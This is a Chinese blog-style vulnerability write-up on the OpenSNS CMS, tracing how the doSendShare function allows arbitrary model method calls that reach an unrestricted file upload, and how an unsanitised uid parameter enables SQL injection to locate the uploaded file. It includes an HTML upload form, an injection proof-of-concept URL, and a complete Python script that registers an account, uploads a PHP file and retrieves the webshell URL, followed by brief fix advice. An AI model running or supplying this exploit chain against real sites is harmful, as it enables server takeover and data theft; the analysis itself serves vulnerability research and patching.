OPENSNS最新版前台getshell

0x01前言

前些天表哥们去打awd,碰到这个opensns,百度了几个漏洞都没利用成功,最后终于在Google上找到了这个利用方法(http://0day5.com/archives/4280/),然而比赛也快结束了。。。。这套cms基于ThinkPHP框架开发,感觉有必要跟一跟这个漏洞。话不多说,开始!

0x02漏洞分析

问题出在/Application/Weibo/Controller/ShareController.class.php中的doSendShare函数中:

public function doSendShare(){
    $aContent = I('post.content','','text');
    $aQuery = I('post.query','','text');
    parse_str($aQuery,$feed_data);

    if(empty($aContent)){
         $this->error(L('_ERROR_CONTENT_CANNOT_EMPTY_'));
    }
    if(!is_login()){
        $this->error(L('_ERROR_SHARE_PLEASE_FIRST_LOGIN_'));
    }

    $new_id = send_weibo($aContent, 'share',         $feed_data,$feed_data['from']);

    $info =  D('Weibo/Share')->getInfo($feed_data);
......

可以看到$aQuery和$aContent都是通过post传递过来的,然后下面对$aQuery进行操作,结果保存在$feed_data中。

parse_str($aQuery,$feed_data);

跟踪$feed_data变量,可以看到它进入了getInfo函数。
位置:/Application/Weibo/Model/ShareModel.class.php

public function getInfo($param)
{
        $info = array();
        if(!empty($param['app']) && !empty($param['model']) && !empty($param['method'])){
            $info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
        }

        return $info;
}

这里这个D函数是ThinkPH中的一个实例化类的函数,跟一下看看:
位置:/ThinkPHP/Common/functions.php

function D($name = '', $layer = '')
{
    if (empty($name)) return new Think\Model;
    static $_model = array();
    $layer = $layer ? : C('DEFAULT_M_LAYER');
    if (isset($_model[$name . $layer]))
        return $_model[$name . $layer];
    $class = parse_res_name($name, $layer);
    if (class_exists($class)) {
        $model = new $class(basename($name));
    } elseif (false === strpos($name, '/')) {
        // 自动加载公共模块下面的模型
        if (!C('APP_USE_NAMESPACE')) {
            import('Common/' . $layer . '/' . $class);
        } else {
            $class = '\\Common\\' . $layer . '\\' . $name . $layer;
        }
        $model = class_exists($class) ? new $class($name) : new Think\Model($name);
    } else {
        \Think\Log::record('D方法实例化没找到模型类' . $class, Think\Log::NOTICE);
        $model = new Think\Model(basename($name));
    }
    $_model[$name . $layer] = $model;
    return $model;
}

这个函数有两个参数,但是我们只能控制第一个参数的值,也就是形参$name的值。那么可以看到如果$layer为空的话,就取C('DEFAULT_M_LAYER')的值,那么这个值是多少呢?
/ThinkPHP/Conf/convention.php中有:

'DEFAULT_M_LAYER'       =>  'Model', // 默认的模型层名称

那么就是取默认的值,也就是Model。
那么意思就是说,我们只能实例化一个类名格式如xxxxxModel这样的类。
然后调用该类的哪一个方法也是我们可控的,就连方法的第一个参数也是我们可控的。
再回过头来看getInfo函数这一行

$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);

只传递了一个参数,$param['model']是要调用的模块,$param['method']是方法(只能是public),$param['id']是所调用方法的第一个参数。
这个地方要怎么利用呢?在这里膜一下大牛的思路——找一个上传类,能上传文件,不就能getshell了嘛!

/Application/Home/Model/FileModel.class.php这个文件中有一个文件上传函数,具体看一下:

    public function upload($files, $setting, $driver = 'Local', $config = null){
        /* 上传文件 */
        $setting['callback'] = array($this, 'isFile');
        $Upload = new \Think\Upload($setting, $driver, $config);
        $info   = $Upload->upload($files);

        /* 设置文件保存位置 */
        $this->_auto[] = array('location', 'Ftp' === $driver ? 1 : 0, self::MODEL_INSERT);

        if($info){ //文件上传成功,记录文件信息
            foreach ($info as $key => &$value) {
                /* 已经存在文件记录 */
                if(isset($value['id']) && is_numeric($value['id'])){
                    continue;
                }

                /* 记录文件信息 */
                if($this->create($value) && ($id = $this->add())){
                    $value['id'] = $id;
                } else {
                    //TODO: 文件上传成功,但是记录文件信息失败,需记录日志
                    unset($info[$key]);
                }
            }
            return $info; //文件上传成功
        } else {
            $this->error = $Upload->getError();
            return false;
        }
    }

这里调用了ThinkPHP的upload函数,继续跟踪。

$info   = $Upload->upload($files);

位置:/ThinkPHP/Library/Think/Upload.class.php

public function upload($files = '')
    {
        /*省略部分代码*/
        // 对上传文件数组信息处理
        $files = $this->dealFiles($files);

        foreach ($files as $key => $file) {
            if (!isset($file['key'])) $file['key'] = $key;
            /* 通过扩展获取文件类型,可解决FLASH上传$FILES数组返回文件类型错误的问题 */
            if (isset($finfo)) {
                $file['type'] = finfo_file($finfo, $file['tmp_name']);
            }

            /* 获取上传文件后缀,允许上传无后缀文件 */
            $file['ext'] = pathinfo($file['name'], PATHINFO_EXTENSION);

            /* 文件上传检测 */
            if (!$this->check($file)) {
                continue;
            }

            /* 获取文件hash */
            if ($this->hash) {
                $file['md5'] = md5_file($file['tmp_name']);
                $file['sha1'] = sha1_file($file['tmp_name']);
            }

            /* 调用回调函数检测文件是否存在 */
            $data = call_user_func($this->callback, $file);

            if ($this->callback && $data) {
                $drconfig = $this->driverConfig;
                $fname = str_replace('http://' . $drconfig['domain'] . '/', '', $data['url']);

                if (file_exists('.' . $data['path'])) {
                    $info[$key] = $data;
                    continue;
                } elseif ($this->uploader->info($fname)) {
                    $info[$key] = $data;
                    continue;
                } elseif ($this->removeTrash) {
                    call_user_func($this->removeTrash, $data); //删除垃圾据
                }
            }

            /* 生成保存文件名 */
            $savename = $this->getSaveName($file);
            if (false == $savename) {
                continue;
            } else {
                $file['savename'] = $savename;
                //$file['name'] = $savename;
            }

            /* 检测并创建子目录 */
            $subpath = $this->getSubPath($file['name']);
            if (false === $subpath) {
                continue;
            } else {
                $file['savepath'] = $this->savePath . $subpath;
            }

            /* 对图像文件进行严格检测 (不知道对这里严格检测的意义何在。。。)*/
            $ext = strtolower($file['ext']);
            if (in_array($ext, array('gif', 'jpg', 'jpeg', 'bmp', 'png', 'swf'))) {
                $imginfo = getimagesize($file['tmp_name']);
                if (empty($imginfo) || ($ext == 'gif' && empty($imginfo['bits']))) {
                    $this->error = '非法图像文件!';
                    continue;
                }
            }

            $file['rootPath'] = $this->config['rootPath'];
            $name = get_addon_class($this->driver);
            if (class_exists($name)) {
                $class = new $name();
                if (method_exists($class, 'uploadDealFile')) {
                    $class->uploadDealFile($file);
                }
            }

            /* 保存文件 并记录保存成功的文件 */
            if ($this->uploader->save($file, $this->replace)) {
                unset($file['error'], $file['tmp_name']);
                $info[$key] = $file;
            } else {
                $this->error = $this->uploader->getError();
            }
        }
        if (isset($finfo)) {
            finfo_close($finfo);
        }

        return empty($info) ? false : $info;
    }

注释都写得很详细,可以看到文件上传检测调用了一个check函数,跟一下

 private function check($file)
    {
     /*省略*/
        /* 检查文件Mime类型 */
        //TODO:FLASH上传的文件获取到的mime类型都为application/octet-stream
        if (!$this->checkMime($file['type'])) {
            $this->error = '上传文件MIME类型不允许!';
            return false;
        }

        /* 检查文件后缀 */
        if (!$this->checkExt($file['ext'])) {
            $this->error = '上传文件后缀不允许';
            return false;
        }

        /* 通过检测 */
        return true;
    }

前面的部分省略,重点看文件mime类型和文件后缀的检测

private function checkExt($ext)
    {
        return empty($this->config['exts']) ? true : in_array(strtolower($ext), $this->exts);
    }

private function checkMime($mime)
    {
        return empty($this->config['mimes']) ? true : in_array(strtolower($mime), $this->mimes);
    }

可以看到这两个检测函数都是去查看$this->config中相对应的成员,如果为空直接返回true。看一下$config:

private $config = array(
        'mimes' => array(), //允许上传的文件MiMe类型 (空)
        'maxSize' => 0, //上传的文件大小限制 (0-不做限制)
        'exts' => array(), //允许上传的文件后缀   (还是空。。)
        /*......*/
    );

这就意味着我们可以上传任意文件!现在还有几个头疼的问题就是我们不知道上传路径是什么,文件上传之后有没有被改名,现在我们回到upload函数中

/* 生成保存文件名 */
$savename = $this->getSaveName($file);
if (false == $savename) {
    continue;
} else {
    $file['savename'] = $savename;
    //$file['name'] = $savename;
}

跟进getSaveName函数。

private function getSaveName($file)
    {
        $rule = $this->saveName;
        if (empty($rule)) { //保持文件名不变
            /* 解决pathinfo中文文件名BUG */
            $filename = substr(pathinfo("_{$file['name']}", PATHINFO_FILENAME), 1);
            $savename = $filename;
        } else {
            $savename = $this->getName($rule, $file['name']);
            if (empty($savename)) {
                $this->error = '文件命名规则错误!';
                return false;
            }
        }
/* 文件保存后缀,支持强制更改文件后缀(config为空直接拼接上传文件的后缀名)*/
        $ext = empty($this->config['saveExt']) ? $file['ext'] : $this->saveExt;

        return $savename . '.' . $ext;
    }

首先看一下saveName的值,依然是在config中:

'saveName' => array('uniqid', ''), //上传文件命名规则,[0]-函数名,[1]-参数,多个参数使用数组

$rule不为空,上传的文件就一定会被重命名,之后$rule又进入了getName函数,继续跟

 private function getName($rule, $filename)
    {
        $name = '';
        /*......*/
        } elseif (is_string($rule)) { //字符串规则
            if (function_exists($rule)) {
                $name = call_user_func($rule);
            } else {
                $name = $rule;
            }
        }
        return $name;
    }

上面config中的uniqid是php内置的函数,掏出小本本来查一查。

uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。

上传文件命名的流程就很清晰了,首先利用uniqid()生成一个唯一id,然后拼接后缀名,对任意文件上传是没有影响的。
先上传一波试试

<html>
<body>
<form action="http://127.0.0.1/opensns/index.php?s=/weibo/share/doSendShare.html" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file_img" id="file" /> 
<br />
<input type="text" name="content" value="123" id="1" />
<input type="text" name="query" id="2" value="app=Home&model=File&method=upload&id="/>
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

利用这个表单上传即可,但是。。。上传完了没有回显,惊不惊喜?意不意外?
现在回到/Application/Home/Model/FileModel.class.php中的upload函数中

if($info){ //文件上传成功,记录文件信息
    foreach ($info as $key => &$value) {
    /* 已经存在文件记录 */  
    if(isset($value['id']) && is_numeric($value['id'])){
        continue;
    }

    /* 记录文件信息 */
    if($this->create($value) && ($id = $this->add())){
    $value['id'] = $id;
    } else {
    //TODO: 文件上传成功,但是记录文件信息失败,需记录日志
        unset($info[$key]);
   }
}
return $info; //文件上传成功

大体看了看create和add函数,都是与数据库有关的操作,也就是说我们上传文件的信息保存在数据库中了。这时候就要请出seay代码审计系统中的神器——Mysql监控了。利用上面的表单上传一个文件,在mysql监控中搜索INSERT即可找到对应的表为ocenter_file

从数据库里获取数据最好的方法是什么?当然是注入了!所以大牛轻描淡写的又挖了一枚注入,再膜一波。。。。。
注入出现在Application/Ucenter/Controller/IndexController.class.php的information函数中

 public function information($uid = null)
    {
        //调用API获取基本信息
        //TODO tox 获取省市区数据
        $user = query_user(array('nickname', 'signature', 'email', 'mobile', 'rank_link', 'sex', 'pos_province', 'pos_city', 'pos_district', 'pos_community'), $uid);

继续跟进query_user函数
位置:/Application/Common/Model/UserModel.class.php

function query_user($pFields = null, $uid = 0)
    {
        $user_data = array();//用户数据
        $fields = $this->getFields($pFields);//需要检索的字段
        $uid = (intval($uid) != 0 ? $uid : get_uid());//用户UID
        //获取缓存过的字段,尽可能在此处命中全部数据

        list($cacheResult, $fields) = $this->getCachedFields($fields, $uid);
        $user_data = $cacheResult;//用缓存初始用户数据
        //从数据库获取需要检索的数据,消耗较大,尽可能在此代码之前就命中全部数据
        list($user_data, $fields) = $this->getNeedQueryData($user_data, $fields, $uid);
/*......*/

注意看这里

$uid = (intval($uid) != 0 ? $uid : get_uid());

这里只是在判断的时候讲$uid intval了一下,实际并没有对$uid造成任何影响,我们构造的语句依然可以带入数据库执行。后面$uid又进入了getNeedQueryData函数,跟下去

 private function getNeedQueryData($user_data, $fields, $uid)
    {
        $need_query = array_intersect($this->table_fields, $fields);
        //如果有需要检索的数据
        if (!empty($need_query)) {
            $db_prefix=C('DB_PREFIX');
            $query_results = D('')->query('select ' . implode(',', $need_query) . " from `{$db_prefix}member`,`{$db_prefix}ucenter_member` where uid=id and uid={$uid} limit 1"); /*****/          

可以看到$uid未做任何处理直接拼接语句,我们就可以通过这个注入来获取我们shell的文件名和路径了。
poc如下:

http://127.0.0.1/opensns/index.php?s=/ucenter/index/information/uid/23333%20union%20(select%201,2,concat(savepath,savename),4%20from%20ocenter_file%20where%20savename%20like%200x252e706870%20order%20by%20id%20desc%20limit%200,1)%23.html

0x03漏洞利用

两个漏洞的利用方式已经在上面的分析过程中给出了,这里放一个py的利用脚本

import requests
import random
import re

s = requests.Session()
url = 'http://10.10.10.139/opensns/'

def getRandomName():
    name = ''
    for i in range(4):
        name += chr(random.randint(97, 122))
    return name

def register():
    global s
    registerUrl = url + 'index.php?s=/ucenter/member/register.html'
    nickname = getRandomName()

    headers = {
        'Referer': registerUrl,
        'Content-Type': 'application/x-www-form-urlencoded',
    }
    data = {
        'role': '1',
        'username': nickname+'@test.com', 
        'nickname': nickname, 
        'password': '123456', 
        'reg_type': 'email',
    }
    r = s.post(registerUrl, data=data, headers=headers)

    return nickname

def login(username):
    global s
    loginUrl = url + 'index.php?s=/ucenter/member/login.html'

    headers = {
        'Referer': loginUrl,
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
        #'X-Requested-With': 'XMLHttpRequest',
    }
    data = {
        'username': username,
        'password': '123456',
        'remember': '0',
        'from': loginUrl,
    }
    r = s.post(loginUrl, data=data, headers=headers)
    #print(r.text)

def upload():
    global s
    uploadUrl = url + 'index.php?s=/weibo/share/doSendShare.html'
    file = {'file_img': open('l.php', 'r')}
    data = {
        'content': '123',
        'query': 'app=Home&model=File&method=upload&id=',
    }
    r = s.post(uploadUrl, data=data, files=file)
    #print(r.text)

def getShell():
    global s
    exp = url + 'index.php?s=/ucenter/index/information/uid/23333 union (select 1,2,concat(savepath,savename),4 from ocenter_file where savename like 0x252e706870 order by id desc limit 0,1)#.html'
    r = s.get(exp)
    #print(r.text)
    shellUrl = url + 'Uploads/' + re.findall(r'>(.*?)</attr>', r.text)[0]

    r = s.get(shellUrl)
    return shellUrl if r.status_code == 200 else False

def main():
    username = register()
    login(username)
    upload()
    shell = getShell()
    if shell:
        print('[*] Getshell! Url is ' + shell)
    else:
        print('[-] Something Wrong...')

if __name__ == '__main__':
    main()

0x04漏洞修复

  1. 上传:在/ThinkPHP/Library/Think/Upload.class.php的config变量中设置允许上传的文件mime和文件后缀名。
  2. 注入:在Application/Ucenter/Controller/IndexController.class.php的information函数中先对$uid进行intval处理,在进行后续操作。
标签: opensns